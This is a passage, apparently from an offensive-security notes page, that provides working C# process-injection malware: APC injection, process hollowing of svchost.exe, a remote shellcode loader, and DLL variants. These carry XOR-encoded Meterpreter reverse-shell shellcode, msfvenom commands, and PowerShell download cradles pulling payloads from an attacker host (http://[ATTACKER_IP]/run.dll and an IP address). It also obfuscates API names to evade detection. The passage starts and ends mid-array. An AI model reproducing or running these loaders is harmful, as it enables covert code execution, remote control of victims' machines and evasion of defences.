0x90, 0xFE, 0xBB, 0xA2, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xAF, 0xB2, 0x79, 0x3E, 0xDA, 0xA4, 0x73, 0x0C, 0x90, 0xBA, 0xBB, 0xA3, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xBB, 0xA2, 0xB2, 0x73, 0x08, 0xB2, 0xCB, 0x33, 0xBB, 0x40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
// Create suspended process
var pi = CreateSuspendedProcess(targetProcess);
Console.WriteLine($"[+] Created process PID: {pi.dwProcessId}");
for (int j = 0; j < shellcode.Length; j++)
{
shellcode[j] = (byte)((uint)shellcode[j] ^ 0xfa);
}
// Allocate memory in target process
IntPtr shellcodeAddr = AllocateMemory(pi.hProcess, shellcode.Length);
Console.WriteLine($"[+] Allocated memory at: 0x{shellcodeAddr.ToInt64():X}");
// Write shellcode to target process
WriteMemory(pi.hProcess, shellcodeAddr, shellcode);
Console.WriteLine("[+] Shellcode written");
// Queue APC to main thread
QueueAPC(pi.hThread, shellcodeAddr);
Console.WriteLine("[+] APC queued to main thread");
// Resume thread to execute shellcode
ResumeThread(pi.hThread);
Console.WriteLine("[+] Thread resumed");
Console.WriteLine("[!] Injection complete!");
}
catch (Exception ex)
{
Console.WriteLine($"[!] Error: {ex.Message}");
}
}
static PROCESS_INFORMATION CreateSuspendedProcess(string processPath)
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi;
bool success = CreateProcess(
processPath,
null,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED,
IntPtr.Zero,
null,
ref si,
out pi);
if (!success)
throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
return pi;
}
static IntPtr AllocateMemory(IntPtr hProcess, int size)
{
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = new IntPtr(size);
uint status = (uint)NtAllocateVirtualMemory(
hProcess,
ref baseAddr,
IntPtr.Zero,
ref regionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (status != 0)
throw new Exception($"Memory allocation failed (0x{status:X8})");
return baseAddr;
}
static void WriteMemory(IntPtr hProcess, IntPtr address, byte[] data)
{
uint status = NtWriteVirtualMemory(
hProcess,
address,
data,
(uint)data.Length,
out _);
if (status != 0)
throw new Exception($"Memory write failed (0x{status:X8})");
}
static void QueueAPC(IntPtr hThread, IntPtr shellcodeAddr)
{
uint status = NtQueueApcThread(
hThread,
shellcodeAddr,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
if (status != 0)
throw new Exception($"APC queue failed (0x{status:X8})");
}
static void ResumeThread(IntPtr hThread)
{
uint status = NtResumeThread(hThread, out _);
if (status != 0)
throw new Exception($"Thread resume failed (0x{status:X8})");
}
}
}
Process Hollow
Explanation An advanced injection technique where a legitimate process is started in a suspended state, its memory is unmapped, and malicious code is written into it—effectively "hollowing out" the original process. The thread is then resumed, executing the injected payload under the guise of a legitimate executable.
High-Level Steps:
- Create a target process (e.g., svchost.exe) in a suspended state using CreateProcess with CREATE_SUSPENDED.
- Retrieve the base address of the main module using NtQueryInformationProcess and ReadProcessMemory.
- Unmap the memory of the original executable using NtUnmapViewOfSection.
- Allocate memory in the remote process using VirtualAllocEx.
- Write the malicious executable (often a PE file) into the allocated memory using WriteProcessMemory.
- Update the remote process's context (entry point) with SetThreadContext.
- Resume the main thread with ResumeThread to execute the injected payload.
Code
using System;
using System.Runtime.InteropServices;
class Program
{
// Define necessary structures
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
// Constants
const uint CREATE_SUSPENDED = 0x00000004;
const int ProcessBasicInformation = 0;
// Function declarations
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
uint processInformationLength,
ref uint returnLength
);
[DllImport("ntdll.dll")]
static extern int NtReadVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToRead,
out IntPtr lpNumberOfBytesRead
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToWrite,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("ntdll.dll", SetLastError = true)]
static extern bool NtResumeProcess(IntPtr hThread);
static void Main()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// Create process in suspended state
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead;
NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
byte[] data = new byte[0x200];
NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint entrypointRvaOffset = e_lfanew + 0x28;
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// Step 6: Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=ens33 LPORT=443 -f csharp
// Shellcode XOR'd with key: 0xfa
byte[] buf = new byte[511] { 0x06, 0xB2...};
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);
// Step 8: Resume the thread to execute the shellcode
NtResumeProcess(pi.hProcess);
Console.WriteLine("Boom! Check your listener.");
}
}
TryHarder
Explanation
Another Process Injection technique that loads the shellcode remotely. The idea of this technique is by
Sektor 7 and ported to C# by saulgoodman.
Steps
- Create Shellcode using msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f raw EXITFUNC=thread -o shellcode.bin
- Serve the
shellcode.binwith a Python Server, and download it by converting the.exeinto a byte array
python3 -m http.server 80
$data = (New-Object System.Net.WebClient).DownloadData('http://[ATTACKER_IP]/Tryharder.exe')
- Load the EXE into memory
$assem = [System.Reflection.Assembly]::Load($data)
- Invoke its entry point:
$assem.EntryPoint.Invoke($null, @([string[]]@()))
Code
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[DllImport("kernel32.dll")]
private static extern bool ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
private static string DecryptString(byte[] encryptedData)
{
return Encoding.UTF8.GetString(encryptedData);
}
private static readonly byte[] encCreateProcess = { 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x00 };
private static readonly byte[] encWriteProcessMemory = { 0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00 };
private static readonly byte[] encVirtualAllocEx = { 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x45, 0x78, 0x00 };
private delegate bool WriteProcessMemoryFunc(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
private static readonly WriteProcessMemoryFunc pwProcmem = (WriteProcessMemoryFunc)Marshal.GetDelegateForFunctionPointer(GetProcAddress(GetModuleHandle("kernel32.dll"), DecryptString(encWriteProcessMemory)), typeof(WriteProcessMemoryFunc));
private delegate bool CreateProcessAFunc(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
private static readonly CreateProcessAFunc pwCreateProcess = (CreateProcessAFunc)Marshal.GetDelegateForFunctionPointer(GetProcAddress(GetModuleHandle("kernel32.dll"), DecryptString(encCreateProcess)), typeof(CreateProcessAFunc));
private delegate IntPtr VirtualAllocExFunc(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
private static readonly VirtualAllocExFunc pwVirtualAllocEx = (VirtualAllocExFunc)Marshal.GetDelegateForFunctionPointer(GetProcAddress(GetModuleHandle("kernel32.dll"), DecryptString(encVirtualAllocEx)), typeof(VirtualAllocExFunc));
[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main()
{
Thread.Sleep(10000);
string url = "http://192.168.45.207/shellcode.bin";
byte[] payload = new WebClient().DownloadData(url);
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!pwCreateProcess("C:\\Windows\\System32\\notepad.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x00000004, IntPtr.Zero, null, ref si, out pi))
{
return;
}
IntPtr victimProcess = pi.hProcess;
IntPtr shellAddress = pwVirtualAllocEx(victimProcess, IntPtr.Zero, (uint)payload.Length, 0x00001000 | 0x00002000, 0x40);
IntPtr bytesWritten;
pwProcmem(victimProcess, shellAddress, payload, (uint)payload.Length, out bytesWritten);
IntPtr threadId;
CreateRemoteThread(victimProcess, IntPtr.Zero, 0, shellAddress, IntPtr.Zero, 0, out threadId);
}
}
DLL
Shellcode Hollower
Load shellcodeHollower remotely
$data = (New-Object System.Net.WebClient).DownloadData('http://[ATTACKER_IP]/run.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ProcessHollowingDLL.ProcessHollowing") # Adjust the type name accordingly
$method = $class.GetMethod("PerformProcessHollowing") # Ensure method name matches
$method.Invoke($null, $null)
Code
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowingDLL
{
public class ProcessHollowing
{
// Define necessary structures
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
// Constants
const uint CREATE_SUSPENDED = 0x00000004;
const int ProcessBasicInformation = 0;
// Function declarations
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
uint processInformationLength,
ref uint returnLength
);
[DllImport("ntdll.dll")]
static extern int NtReadVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToRead,
out IntPtr lpNumberOfBytesRead
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToWrite,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int NtResumeThread(IntPtr hThread, out uint lpPreviousSuspendCount);
// Entry point function for DLL to be called externally
public static void PerformProcessHollowing()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
// Create process in suspended state (svchost.exe in this case)
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
if (!res)
{
int errorCode = Marshal.GetLastWin32Error();
Console.WriteLine($"CreateProcess failed with error code: {errorCode}");
return;
}
if (pi.hProcess == IntPtr.Zero || pi.hThread == IntPtr.Zero)
{
Console.WriteLine("Invalid process or thread handle.");
return;
}
// Retrieve process information to locate the entry point
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
int status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
if (status != 0)
{
Console.WriteLine("Failed to query process information.");
return;
}
IntPtr ptrImageBaseAddress = (IntPtr)((long)bi.PebAddress + 0x10);
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead;
// Read image base address
NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
byte[] data = new byte[0x200];
NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint entrypointRvaOffset = e_lfanew + 0x28;
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
IntPtr entrypointAddress = (IntPtr)((ulong)imageBaseAddress + entrypointRva);
// msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=ens33 LPORT=443 -f csharp EXITFUNC=thread
// XOR'd with key: 0xfa
byte[] amit = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xAC, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xBB, 0xAB, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xAA, 0xBE, 0x71, 0xBA, 0xDA, 0x71, 0xB2, 0xE2, 0xB3, 0xFB, 0x2A, 0x19, 0xAC, 0xB7, 0xCB, 0x33, 0xB2, 0x05, 0x33, 0xBB, 0x71, 0xCE, 0x72, 0xB2, 0xFB, 0x2C, 0xB2, 0xCB, 0x3A, 0xBB, 0x3B, 0x33, 0xF7, 0x56, 0xBB, 0xFB, 0x3B, 0xC2, 0x1A, 0x8F, 0x0B, 0xB6, 0xF9, 0xB6, 0xDE, 0xF2, 0xBF, 0xC3, 0x2B, 0x8F, 0x22, 0xA2, 0xBE, 0x71, 0xBA, 0xDE, 0xB3, 0xFB, 0x2A, 0x9C, 0xBB, 0x71, 0xF6, 0xB2, 0xBE, 0x71, 0xBA, 0xE6, 0xB3, 0xFB, 0x2A, 0xBB, 0x71, 0xFE, 0x72, 0xBB, 0xA2, 0xBB, 0xA2, 0xB2, 0xFB, 0x2A, 0xA4, 0xA3, 0xA0, 0xBB, 0xA2, 0xBB, 0xA3, 0xBB, 0xA0, 0xB2, 0x79, 0x16, 0xDA, 0xBB, 0xA8, 0x05, 0x1A, 0xA2, 0xBB, 0xA3, 0xA0, 0xB2, 0x71, 0xE8, 0x13, 0xB1, 0x05, 0x05, 0x05, 0xA7, 0xB3, 0x44, 0x8D, 0x89, 0xC8, 0xA5, 0xC9, 0xC8, 0xFA, 0xFA, 0xBB, 0xAC, 0xB3, 0x73, 0x1C, 0xB2, 0x7B, 0x16, 0x5A, 0xFB, 0xFA, 0xFA, 0xB3, 0x73, 0x1F, 0xB3, 0x46, 0xF8, 0xFA, 0xFB, 0x41, 0xF0, 0x9E, 0x9C, 0xE4, 0xBB, 0xAE, 0xB3, 0x73, 0x1E, 0xB6, 0x73, 0x0B, 0xBB, 0x40, 0xB6, 0x8D, 0xDC, 0xFD, 0x05, 0x2F, 0xB6, 0x73, 0x10, 0x92, 0xFB, 0xFB, 0xFA, 0xFA, 0xA3, 0xBB, 0x40, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0xBB, 0xA4, 0xAA, 0xAA, 0xB7, 0xCB, 0x33, 0xB7, 0xCB, 0x3A, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x38, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x3B, 0xBB, 0x40, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0xB2, 0x73, 0x3D, 0x90, 0xEA, 0xBB, 0xA2, 0xB6, 0x73, 0x18, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0xB3, 0x05, 0x34, 0x8F, 0x1F, 0x12, 0x69, 0xFA, 0xFA, 0xFA, 0xB2, 0x79, 0x16, 0xEA, 0xB2, 0x73, 0x18, 0xB7, 0xCB, 0x33, 0x90, 0xFE, 0xBB, 0xA2, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xAF, 0xB2, 0x79, 0x3E, 0xDA, 0xA4, 0x73, 0x0C, 0x90, 0xBA, 0xBB, 0xA3, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xBB, 0xA2, 0xB2, 0x73, 0x08, 0xB2, 0xCB, 0x33, 0xBB, 0x40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
for (int i = 0; i < amit.Length; i++)
{
amit[i] = (byte)((uint)amit[i] ^ 0xfa);
}
// Write the NOP shellcode to the process memory
WriteProcessMemory(hProcess, entrypointAddress, amit, amit.Length, out nRead);
// Resume the thread to execute the shellcode
uint previousSuspendCount;
int resumeStatus = NtResumeThread(pi.hThread, out previousSuspendCount);
if (resumeStatus == 0)
{
Console.WriteLine("Boom! Check your listener.");
}
else
{
Console.WriteLine("Failed to resume the thread.");
}
}
}
}
Shellcode Inject
Load shellcodeInject remotely
$data = (New-Object System.Net.WebClient).DownloadData('http://[ATTACKER_IP]/run.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("Inject.Injector")
$method = $class.GetMethod("InjectShellcode")
$method.Invoke($null, $null)
Code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Inject
{
public class Injector
{
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint MEM_COMMIT = 0x1000;
private static readonly uint MEM_RESERVE = 0x2000;
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID clientId);
[DllImport("ntdll.dll")]
static extern IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect);
[DllImport("ntdll.dll")]
static extern int NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, byte[] buffer, uint bufferSize, out uint written);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
// Expose the method for external use
public static void InjectShellcode()
{
// ProcessStartInfo startInfo = new ProcessStartInfo("notepad.exe");
// Process notepadProcess = Process.Start(startInfo);
// Thread.Sleep(3000);
Process[] targetProcess = Process.GetProcessesByName("explorer");
IntPtr htargetProcess = targetProcess[0].Handle;
IntPtr hProcess = IntPtr.Zero;
CLIENT_ID clientid = new CLIENT_ID();
clientid.UniqueProcess = new IntPtr(targetProcess[0].Id);
clientid.UniqueThread = IntPtr.Zero;
OBJECT_ATTRIBUTES ObjectAttributes = new OBJECT_ATTRIBUTES();
uint status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref ObjectAttributes, ref clientid);
// The shellcode XOR'd with key: 0xfa
byte[] buf = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xAC, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB7, 0xCB, 0x33, 0xB2, 0x71, 0x88, 0xAA, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xBB, 0xAB, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xF5, 0x7F, 0x88, 0xFA, 0xFA, 0xFA, 0x71, 0x7A, 0x72, 0xFA, 0xFA, 0xFA, 0xB2, 0x7F, 0x3A, 0x8E, 0x9D, 0xB2, 0xFB, 0x2A, 0xAA, 0xBE, 0x71, 0xBA, 0xDA, 0xB3, 0xFB, 0x2A, 0x71, 0xB2, 0xE2, 0x19, 0xAC, 0xB7, 0xCB, 0x33, 0xB2, 0x05, 0x33, 0xBB, 0x71, 0xCE, 0x72, 0xB2, 0xFB, 0x2C, 0xB2, 0xCB, 0x3A, 0xBB, 0x3B, 0x33, 0xF7, 0x56, 0xBB, 0xFB, 0x3B, 0xC2, 0x1A, 0x8F, 0x0B, 0xB6, 0xF9, 0xB6, 0xDE, 0xF2, 0xBF, 0xC3, 0x2B, 0x8F, 0x22, 0xA2, 0xBE, 0x71, 0xBA, 0xDE, 0xB3, 0xFB, 0x2A, 0x9C, 0xBB, 0x71, 0xF6, 0xB2, 0xBE, 0x71, 0xBA, 0xE6, 0xB3, 0xFB, 0x2A, 0xBB, 0x71, 0xFE, 0x72, 0xB2, 0xFB, 0x2A, 0xBB, 0xA2, 0xBB, 0xA2, 0xA4, 0xA3, 0xA0, 0xBB, 0xA2, 0xBB, 0xA3, 0xBB, 0xA0, 0xB2, 0x79, 0x16, 0xDA, 0xBB, 0xA8, 0x05, 0x1A, 0xA2, 0xBB, 0xA3, 0xA0, 0xB2, 0x71, 0xE8, 0x13, 0xB1, 0x05, 0x05, 0x05, 0xA7, 0xB3, 0x44, 0x8D, 0x89, 0xC8, 0xA5, 0xC9, 0xC8, 0xFA, 0xFA, 0xBB, 0xAC, 0xB3, 0x73, 0x1C, 0xB2, 0x7B, 